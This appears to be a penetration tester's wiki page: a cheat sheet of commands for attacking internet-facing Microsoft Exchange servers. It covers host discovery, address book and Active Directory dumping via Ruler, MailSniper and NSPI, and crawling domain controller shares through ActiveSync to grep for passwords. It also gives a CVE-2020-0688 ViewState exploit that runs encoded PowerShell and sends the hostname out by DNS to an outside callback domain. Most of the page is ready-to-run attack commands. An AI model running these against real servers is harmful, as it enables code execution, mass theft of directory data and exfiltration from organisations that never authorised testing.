> For the complete documentation index, see [llms.txt](https://ppn.snovvcra.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ppn.snovvcra.sh/pentest/perimeter/exchange.md).

# Exchange

* <https://exchangeserverversions.blogspot.com/>
* <https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/>
* <https://pentestnotes.ru/notes/owa_pentest_guide/>

![Pentesting Exchange Mindmap](https://raw.githubusercontent.com/Orange-Cyberdefense/arsenal/master/mindmap/Pentesting_MS_Exchange_Server_on_the_Perimeter.png)

Discover Exchange servers on the Perimeter from a large scope of subdomains:

```bash
$ cat subdomains.txt
sub1.example.com
sub2.example.ru
sub3.example.bz

$ for i in `cat subdomains.txt | rev | cut -d. -f1-2 | rev | sort -u`; do echo https://autodiscover.$i; done | httpx -silent -random-agent -fr -t 20 -sc -title -td -ip | grep Outlook | grep -oP '\d+\.\d+\.\d+\.\d+' | dnsx -silent -re -ptr
1.3.3.7 [mx1.example.com]
66.66.66.66 [mx2.example.ru]
123.123.123.123 [mx3.example.bz]
```

Check its build number and correlate it with [release dates](https://learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates):

{% tabs %}
{% tab title="Linux (from outside)" %}

```
$ curl -sSL https://mx1.example.com/owa/auth/logon.aspx | grep favicon.ico
<link rel="shortcut icon" href="/owa/auth/15.2.1118/themes/resources/favicon.ico" type="image/x-icon">
```

{% endtab %}

{% tab title="Windows (from inside)" %}

```powershell
add-type @"
    using System.Net;
    using System.Security.Cryptography.X509Certificates;
    public class TrustAllCertsPolicy : ICertificatePolicy {
        public bool CheckValidationResult(
            ServicePoint srvPoint, X509Certificate certificate,
            WebRequest request, int certificateProblem) {
            return true;
        }
    }
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy

(curl -UseBasicParsing -MaximumRedirection 0 https://exch01).Headers."X-OWA-Version"
```

{% endtab %}
{% endtabs %}

## GAL

### Ruler

```
$ ./ruler -k -d megacorp.com -u snovvcrash -p 'Passw0rd!' -e snovvcrash@megacorp.com --verbose abk dump -o gal.txt
```

### MailSniper

```
PS > Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName MEGACORP\snovvcrash -Password 'Passw0rd!' -OutFile gal.txt
```

### OAB

Search for `<OABUrl>` node using Burp:

```
POST /autodiscover/autodiscover.xml HTTP/1.1
Host: mx.megacorp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Authorization: Basic TUVHQUNPUlBcc25vdnZjcmFzaDpQYXNzdzByZCEK
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 350

<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>snovvcrash@megacorp.com</EMailAddress>
      <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
```

Or with a Python [script](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438):

```
$ ./oaburl.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -e 'exists@megacorp.com'
[*] Authenticated users's SID (X-BackEndCookie): S-1-5-21-3167813660-1240564177-918740779-3102
[+] DisplayName: Sam Freeside
[+] Server: 00ff00ff-00ff-00ff-00ff-00ff00ff00ff@megacorp.com
[+] AD: dc01.megacorp.com
[+] OABUrl: https://mx.megacorp.com/OAB/<OABUrl>/
```

Get `oab.xml` and then `oab.lzx`:

```
$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.com/OAB/<OABUrl>/oab.xml > oab.xml
$ cat oab.xml | grep '.lzx' | grep data
$ curl -k --ntlm -u 'MEGACORP\snovvcrash:Passw0rd!' https://mx.megacorp.com/OAB/<OABUrl>/<LZXUrl> > oab.lzx
```

Install libmspack:

```
$ git clone https://github.com/kyz/libmspack ~/tools/libmspack && cd ~/tools/libmspack/libmspack
$ sudo apt install autoconf automake libtool -y
$ ./rebuild.sh && ./configure && make && cd -
```

Parse `oab.lzx` into `oab.txt` and extract emails from `oab.txt` with a regexp:

```
$ ~/tools/libmspack/libmspack/examples/oabextract oab.lzx oab.txt
$ strings oab.txt | egrep -o "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,4}" | sort -u > emails.txt
```

## ActiveSync

### PEAS

* <https://labs.f-secure.com/archive/accessing-internal-fileshares-through-exchange-activesync/>
* <https://labs.f-secure.com/tools/peas-access-internal-fileshares-through-exchange-activesync/>
* <https://github.com/FSecureLABS/peas>
* <https://github.com/snovvcrash/peas>
* <https://github.com/sensepost/thumbscr-ews>

Install:

```
$ git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m
$ python3 -m virtualenv --python=/usr/bin/python venv && source ./venv/bin/activate
(venv) $ pip install --upgrade 'setuptools<45.0.0'
(venv) $ pip install -r requirements.txt
```

Run:

```
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --check
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --list-unc='\\DC01\SYSVOL\megacorp.com'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\share\file.txt'
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --dl-unc='\\DC01\share\file.txt' -o file.txt
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\share\' [--pattern xml,ini] [--download]
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --brute-unc [--prefix srv]
```

### How-To

1\. Use Nmap `http-ntlm-info` to get NetBIOS domain name and Exchange hostname: hunting for hostname pattern prefix if there is one.

2\. Locate DC (guess it trying hostname pattern prefix) and mirror `\\DC01\SYSVOL\megacorp.local\` share with `--crawl-unc` function:

```
$ python -m peas -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com --crawl-unc='\\DC01\SYSVOL\megacorp.com\' --download
```

3\. Find, xargs and grep for keywords in files: `password`, NetBIOS domain name (for additional account names), hostname pattern prefix (for additional hosts/shares):

```
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i -e password -e pass
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <DOMAIN_NETBIOS_NAME>
$ find . -type f -print0 | xargs -0 grep -v PolicyDefinitions | grep -i <PREFIX>
```

4\. (optional) Brute other share names:

```
$ python -m peas --brute-unc -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' mx.megacorp.com [--prefix srv]
```

## CVE-2020-0688

* <https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>
* <https://github.com/pwntester/ysoserial.net/releases>
* <https://github.com/MrTiz9/CVE-2020-0688>

```
Get ViewStateUserKey: Browser > F12 > Storage > ASP.NET_SessionId
Get ViewStateGenerator: Browser > F12 > Console > document.getElementById("__VIEWSTATEGENERATOR").value
PS > [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('$name = hostname;nslookup "$name.0000000000ffffffffff.d.zhack.ca"'))
PS > .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc <BASE64_CMD>" --validationalg "SHA1" --validationkey "CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --viewstateuserkey "<VIEWSTATE>" --generator "<GENERATOR>" --islegacy --isdebug
https://mx.megacorp.com/ecp/default.aspx?__VIEWSTATEGENERATOR=<GENERATOR>&__VIEWSTATE=<VIEWSTATE>
```

## NSPI

* <https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/>
* <https://github.com/ptswarm/impacket>
* `>= Impacket v0.9.22.dev1+20200819.170651.b5fa089b`

List Address Books and count entities in every one of them:

```
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi list-tables -count
```

Dump any specified Address Book by its name or GUID:

```
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi dump-tables -guid 00ff00ff-00ff-00ff-00ff-00ff00ff00ff -lookup-type EXTENDED -output-file gal.txt
$ cat gal.txt | grep 'mail,' | sort -u | awk -F' ' '{print $3}' > emails.txt
```

Return AD objects by their GUIDs:

```
PS > (Get-ADuser -Identity snovvcrash).ObjectGUID
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi guid-known -guid 00ff00ff-00ff-00ff-00ff-00ff00ff00ff -lookup-type FULL
```

Dump all AD records via requesting DNTs:

```
$ exchanger.py MEGACORP/snovvcrash:'Passw0rd!'@mx.megacorp.com -debug nspi dnt-lookup -lookup-type EXTENDED -start-dnt 0 -stop-dnt 500000 -output-file dnt-dump.txt
```

## Tools

* <https://github.com/mhaskar/ExchangeFinder>
